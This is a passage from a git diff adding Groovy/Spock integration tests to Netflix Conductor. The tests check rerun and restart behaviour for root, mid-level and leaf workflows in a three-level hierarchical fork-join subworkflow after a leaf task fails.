persistedTask2Definition + + def setup() { + workflowTestUtil.registerWorkflows('hierarchical_fork_join_swf.json', + 'simple_workflow_1_integration_test.json' + ) + + //region Test setup: 3 workflows reach FAILED state because task 'integration_task_2' in leaf workflow is FAILED. + setup: "Modify task definition to 0 retries" + persistedTask2Definition = workflowTestUtil.getPersistedTaskDefinition('integration_task_2').get() + def modifiedTask2Definition = new TaskDef(persistedTask2Definition.name, persistedTask2Definition.description, + persistedTask2Definition.ownerEmail, 0, persistedTask2Definition.timeoutSeconds, + persistedTask2Definition.responseTimeoutSeconds) + metadataService.updateTaskDef(modifiedTask2Definition) + + and: "an existing workflow with subworkflow and registered definitions" + metadataService.getWorkflowDef(SIMPLE_WORKFLOW, 1) + metadataService.getWorkflowDef(FORK_JOIN_HIERARCHICAL_SUB_WF, 1) + + and: "input required to start the workflow execution" + String correlationId = 'rerun_on_root_in_3level_wf' + def input = [ + 'param1' : 'p1 value', + 'param2' : 'p2 value', + 'subwf' : FORK_JOIN_HIERARCHICAL_SUB_WF, + 'nextSubwf': SIMPLE_WORKFLOW] + + when: "the workflow is started" + rootWorkflowId = startWorkflow(FORK_JOIN_HIERARCHICAL_SUB_WF, 1, + correlationId, input, null) + + then: "verify that the workflow is in a RUNNING state" + workflowExecutor.decide(rootWorkflowId) + def rerunSetupSubWfTask = workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (rerunSetupSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, rerunSetupSubWfTask.taskId) + } + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete the integration_task_2 task" + def pollAndCompleteTask = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "verify that the 'integration_task_2' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask) + + then: "verify that the 'sub_workflow_task' is in a IN_PROGRESS state" + def rootWorkflowInstance = workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + with(rootWorkflowInstance) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + } + + and: "sweep the mid-level workflow so its tasks get scheduled" + midLevelWorkflowId = rootWorkflowInstance.tasks[1].subWorkflowId + sweep(midLevelWorkflowId) + + when: "poll and complete the integration_task_2 task in the mid-level workflow" + pollAndCompleteTask = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "verify that the 'integration_task_2' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask) + + and: "start the exact mid-level SUB_WORKFLOW task to avoid re-executing a stale parent queue item" + def midLevelSubWorkflowTaskId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).tasks[1].taskId + asyncSystemTaskExecutor.execute(subWorkflowTask, midLevelSubWorkflowTaskId) + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + and: "poll and complete the integration_task_2 task in the root-level workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + when: "the subworkflow task should be in SCHEDULED state and is started by issuing a system task call" + def midLevelWorkflowInstance = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true) + leafWorkflowId = midLevelWorkflowInstance.tasks[1].subWorkflowId + sweep(leafWorkflowId) + + then: "verify that the leaf workflow is RUNNING, and first task is in SCHEDULED state" + def leafWorkflowInstance = workflowExecutionService.getExecutionStatus(leafWorkflowId, true) + with(leafWorkflowInstance) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and fail the integration_task_2 task" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + sweep(leafWorkflowId) + workflowTestUtil.pollAndFailTask('integration_task_2', 'task2.integration.worker', 'failed') + + then: "the leaf workflow ends up in a FAILED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + } + + when: "the mid level workflow is 'decided'" + sweep(midLevelWorkflowId) + + then: "the mid level workflow is in FAILED state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + // The reopened parent is also pushed for background evaluation, so by the time we + // read this snapshot the JOIN may still be CANCELED (from the failed run) or already + // reopened to IN_PROGRESS by the sweeper. Either is valid; only completion is not. + tasks[3].status in [Task.Status.CANCELED, Task.Status.IN_PROGRESS] + } + + when: "the root level workflow is 'decided'" + sweep(rootWorkflowId) + + then: "the root level workflow is in FAILED state" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + // The reopened parent is also pushed for background evaluation, so by the time we + // read this snapshot the JOIN may still be CANCELED (from the failed run) or already + // reopened to IN_PROGRESS by the sweeper. Either is valid; only completion is not. + tasks[3].status in [Task.Status.CANCELED, Task.Status.IN_PROGRESS] + } + //endregion + } + + def cleanup() { + metadataService.updateTaskDef(persistedTask2Definition) + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A rerun is executed on the root workflow. + * + * Expectation: The root workflow gets a new execution with the same id and spawns a NEW mid-level workflow, which in turn spawns a NEW leaf workflow. + * When the NEW leaf workflow completes successfully, both the NEW mid-level and root workflows also complete successfully. + */ + def "Test rerun on the root-level in a 3-level subworkflow"() { + //region Test case + when: "do a rerun on the root workflow" + def reRunWorkflowRequest = new RerunWorkflowRequest() + reRunWorkflowRequest.reRunFromWorkflowId = rootWorkflowId + workflowExecutor.rerun(reRunWorkflowRequest) + def rerunRootSubWfTask = workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (rerunRootSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, rerunRootSubWfTask.taskId) + } + + then: "verify that the root workflow created a new execution" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete integration_task_2 in root and mid level workflow" + def rootJoinId = workflowExecutionService.getExecutionStatus(rootWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + def newMidLevelWorkflowId = workflowExecutionService.getExecutionStatus(rootWorkflowId, true).getTasks().get(1).subWorkflowId + sweep(newMidLevelWorkflowId) + // The root workflow has an integration_task_2. Its subworkflow also has an integration_task_2. + // We have NO guarantees which will be polled and completed first, so the assertions done in previous versions of this test were wrong. + await().atMost(10, TimeUnit.SECONDS).until { + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + def rootWf = workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + def midWf = workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true) + + rootWf.status == Workflow.WorkflowStatus.RUNNING && + rootWf.tasks[2].taskType == 'integration_task_2' && + rootWf.tasks[2].status == Task.Status.COMPLETED && + midWf.status == Workflow.WorkflowStatus.RUNNING && + midWf.tasks[2].taskType == 'integration_task_2' && + midWf.tasks[2].status == Task.Status.COMPLETED + } + def newMidRerunSubWfTask = workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (newMidRerunSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, newMidRerunSubWfTask.taskId) + } + + then: "verify that a new mid level workflow is created and is in RUNNING state" + newMidLevelWorkflowId != midLevelWorkflowId + with(workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + when: "mid level workflow is in RUNNING state" + def midJoinId = workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + def newLeafWorkflowId = workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true).getTasks().get(1).subWorkflowId + sweep(newLeafWorkflowId) + + then: "verify that a new leaf workflow is created and is in RUNNING state" + newLeafWorkflowId != leafWorkflowId + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the two tasks in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "the new leaf workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + when: "the new mid level and root workflows are 'decided'" + sweep(newMidLevelWorkflowId) + sweep(rootWorkflowId) + + and: "JOIN tasks are executed" + asyncSystemTaskExecutor.execute(joinTask, midJoinId) + asyncSystemTaskExecutor.execute(joinTask, rootJoinId) + + then: "the new mid level workflow is in COMPLETED state" + assertWorkflowIsCompleted(newMidLevelWorkflowId) + + then: "the root workflow is in COMPLETED state" + assertWorkflowIsCompleted(rootWorkflowId) + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A rerun is executed on the mid-level workflow. + * + * Expectation: The mid-level workflow gets a new execution with the same id and spawns a NEW leaf workflow and also updates its parent (root workflow). + * When the NEW leaf workflow completes successfully, both the mid-level and root workflows also complete successfully. + */ + def "Test rerun on the mid-level in a 3-level subworkflow"() { + //region Test case + when: "do a rerun on the mid level workflow" + def reRunWorkflowRequest = new RerunWorkflowRequest() + reRunWorkflowRequest.reRunFromWorkflowId = midLevelWorkflowId + workflowExecutor.rerun(reRunWorkflowRequest) + def rerunMidSubWfTask = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (rerunMidSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, rerunMidSubWfTask.taskId) + } + + then: "verify that the mid workflow created a new execution" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + and: "verify the root workflow is updated" + await().atMost(10, TimeUnit.SECONDS).until { + def workflow = workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + workflow.status == Workflow.WorkflowStatus.RUNNING && + workflow.tasks.size() == 4 && + workflow.tasks[0].taskType == TASK_TYPE_FORK && + workflow.tasks[0].status == Task.Status.COMPLETED && + workflow.tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW && + workflow.tasks[1].status == Task.Status.IN_PROGRESS && + workflow.tasks[2].taskType == 'integration_task_2' && + workflow.tasks[2].status == Task.Status.COMPLETED && + workflow.tasks[3].taskType == TASK_TYPE_JOIN && + workflow.tasks[3].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete the integration_task_2 task in the mid level workflow" + def midJoinId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + def rootJoinId = workflowExecutionService.getExecutionStatus(rootWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + def newLeafWorkflowId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).getTasks().get(1).subWorkflowId + sweep(newLeafWorkflowId) + + then: "verify that a new leaf workflow is created and is in RUNNING state" + newLeafWorkflowId != leafWorkflowId + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the 2 tasks in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the new leaf workflow reached COMPLETED state" + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + and: "JOIN tasks are executed" + asyncSystemTaskExecutor.execute(joinTask, midJoinId) + asyncSystemTaskExecutor.execute(joinTask, rootJoinId) + + then: "verify that the mid level and root workflows reach COMPLETED state" + assertWorkflowIsCompleted(midLevelWorkflowId) + assertWorkflowIsCompleted(rootWorkflowId) + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A rerun is executed on the leaf workflow. + * + * Expectation: The leaf workflow gets a new execution with the same id and updates both its parent (mid-level) and grandparent (root). + * When the leaf workflow completes successfully, both the mid-level and root workflows also complete successfully. + */ + def "Test rerun on the leaf-level in a 3-level subworkflow"() { + //region Test case + when: "do a rerun on the leaf workflow" + def reRunWorkflowRequest = new RerunWorkflowRequest() + reRunWorkflowRequest.reRunFromWorkflowId = leafWorkflowId + workflowExecutor.rerun(reRunWorkflowRequest) + + then: "verify that the leaf workflow created a new execution" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + then: "verify that the mid-level workflow is updated" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + // The reopened parent is also pushed for background evaluation, so by the time we + // read this snapshot the JOIN may still be CANCELED (from the failed run) or already + // reopened to IN_PROGRESS by the sweeper. Either is valid; only completion is not. + tasks[3].status in [Task.Status.CANCELED, Task.Status.IN_PROGRESS] + } + + and: "verify that the root workflow is updated" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + // The reopened parent is also pushed for background evaluation, so by the time we + // read this snapshot the JOIN may still be CANCELED (from the failed run) or already + // reopened to IN_PROGRESS by the sweeper. Either is valid; only completion is not. + tasks[3].status in [Task.Status.CANCELED, Task.Status.IN_PROGRESS] + } + + when: "the mid level and root workflows are sweeped" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + def midJoinId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + def rootJoinId = workflowExecutionService.getExecutionStatus(rootWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + + then: "verify that the mid level workflow's JOIN is updated" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + !tasks[1].subworkflowChanged // flag is reset after decide + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + and: "verify that the root workflow's JOIN is updated" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + !tasks[1].subworkflowChanged // flag is reset after decide + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete both tasks in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "verify that the leaf workflow reached COMPLETED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + and: "JOIN tasks are executed" + asyncSystemTaskExecutor.execute(joinTask, midJoinId) + asyncSystemTaskExecutor.execute(joinTask, rootJoinId) + + then: "verify that the mid level and root workflows reach COMPLETED state" + assertWorkflowIsCompleted(midLevelWorkflowId) + assertWorkflowIsCompleted(rootWorkflowId) + //endregion + } + + void assertWorkflowIsCompleted(String workflowId) { + assert with(workflowExecutionService.getExecutionStatus(workflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + !tasks[1].subworkflowChanged // flag is reset after decide + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.COMPLETED + } + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/HierarchicalForkJoinSubworkflowRestartSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/HierarchicalForkJoinSubworkflowRestartSpec.groovy new file mode 100644 index 0000000..1574ab4 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/HierarchicalForkJoinSubworkflowRestartSpec.groovy @@ -0,0 +1,567 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import java.util.concurrent.TimeUnit + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.execution.tasks.Join +import com.netflix.conductor.core.execution.tasks.SubWorkflow +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_FORK +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_JOIN +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SUB_WORKFLOW +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask + +import static org.awaitility.Awaitility.await + +class HierarchicalForkJoinSubworkflowRestartSpec extends AbstractSpecification { + + @Shared + def FORK_JOIN_HIERARCHICAL_SUB_WF = 'hierarchical_fork_join_swf' + + @Shared + def SIMPLE_WORKFLOW = "integration_test_wf" + + @Autowired + SubWorkflow subWorkflowTask + + @Autowired + Join joinTask + + String rootWorkflowId, midLevelWorkflowId, leafWorkflowId + + TaskDef persistedTask2Definition + + def setup() { + workflowTestUtil.registerWorkflows('hierarchical_fork_join_swf.json', + 'simple_workflow_1_integration_test.json' + ) + + //region Test setup: 3 workflows reach FAILED state. Task 'integration_task_2' in leaf workflow is FAILED. + setup: "Modify task definition to 0 retries" + persistedTask2Definition = workflowTestUtil.getPersistedTaskDefinition('integration_task_2').get() + def modifiedTask2Definition = new TaskDef(persistedTask2Definition.name, persistedTask2Definition.description, + persistedTask2Definition.ownerEmail, 0, persistedTask2Definition.timeoutSeconds, + persistedTask2Definition.responseTimeoutSeconds) + metadataService.updateTaskDef(modifiedTask2Definition) + + and: "an existing workflow with subworkflow and registered definitions" + metadataService.getWorkflowDef(SIMPLE_WORKFLOW, 1) + metadataService.getWorkflowDef(FORK_JOIN_HIERARCHICAL_SUB_WF, 1) + + and: "input required to start the workflow execution" + String correlationId = 'retry_on_root_in_3level_wf' + def input = [ + 'param1' : 'p1 value', + 'param2' : 'p2 value', + 'subwf' : FORK_JOIN_HIERARCHICAL_SUB_WF, + 'nextSubwf': SIMPLE_WORKFLOW] + + when: "the workflow is started" + rootWorkflowId = startWorkflow(FORK_JOIN_HIERARCHICAL_SUB_WF, 1, + correlationId, input, null) + + then: "verify that the workflow is in a RUNNING state" + def rootSetupSubWfTask = workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (rootSetupSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, rootSetupSubWfTask.taskId) + } + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete the integration_task_1 task" + def pollAndCompleteTask = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask) + + then: "verify that the 'sub_workflow_task' is in a IN_PROGRESS state" + def rootWorkflowInstance = workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + with(rootWorkflowInstance) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + } + + and: "sweep the mid-level workflow so its tasks get scheduled" + midLevelWorkflowId = rootWorkflowInstance.tasks[1].subWorkflowId + sweep(midLevelWorkflowId) + + when: "poll and complete the integration_task_2 task in the mid-level workflow" + pollAndCompleteTask = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "verify that the 'integration_task_2' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask) + + and: "verify that the mid-level workflow is RUNNING, and first task is in SCHEDULED state" + def midSetupSubWfTask = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (midSetupSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, midSetupSubWfTask.taskId) + } + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + and: "poll and complete the integration_task_1 task in the mid-level workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + when: "get mid-level workflow state and sweep the leaf child" + def midLevelWorkflowInstance = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true) + leafWorkflowId = midLevelWorkflowInstance.tasks[1].subWorkflowId + sweep(leafWorkflowId) + + then: "verify that the leaf workflow is RUNNING, and first task is in SCHEDULED state" + def leafWorkflowInstance = workflowExecutionService.getExecutionStatus(leafWorkflowId, true) + with(leafWorkflowInstance) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and fail the integration_task_2 task" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndFailTask('integration_task_2', 'task2.integration.worker', 'failed') + + then: "the leaf workflow ends up in a FAILED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + } + + when: "the mid level workflow is 'decided'" + sweep(midLevelWorkflowId) + + then: "the mid level workflow is in FAILED state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + // The reopened parent is also pushed for background evaluation, so by the time we + // read this snapshot the JOIN may still be CANCELED (from the failed run) or already + // reopened to IN_PROGRESS by the sweeper. Either is valid; only completion is not. + 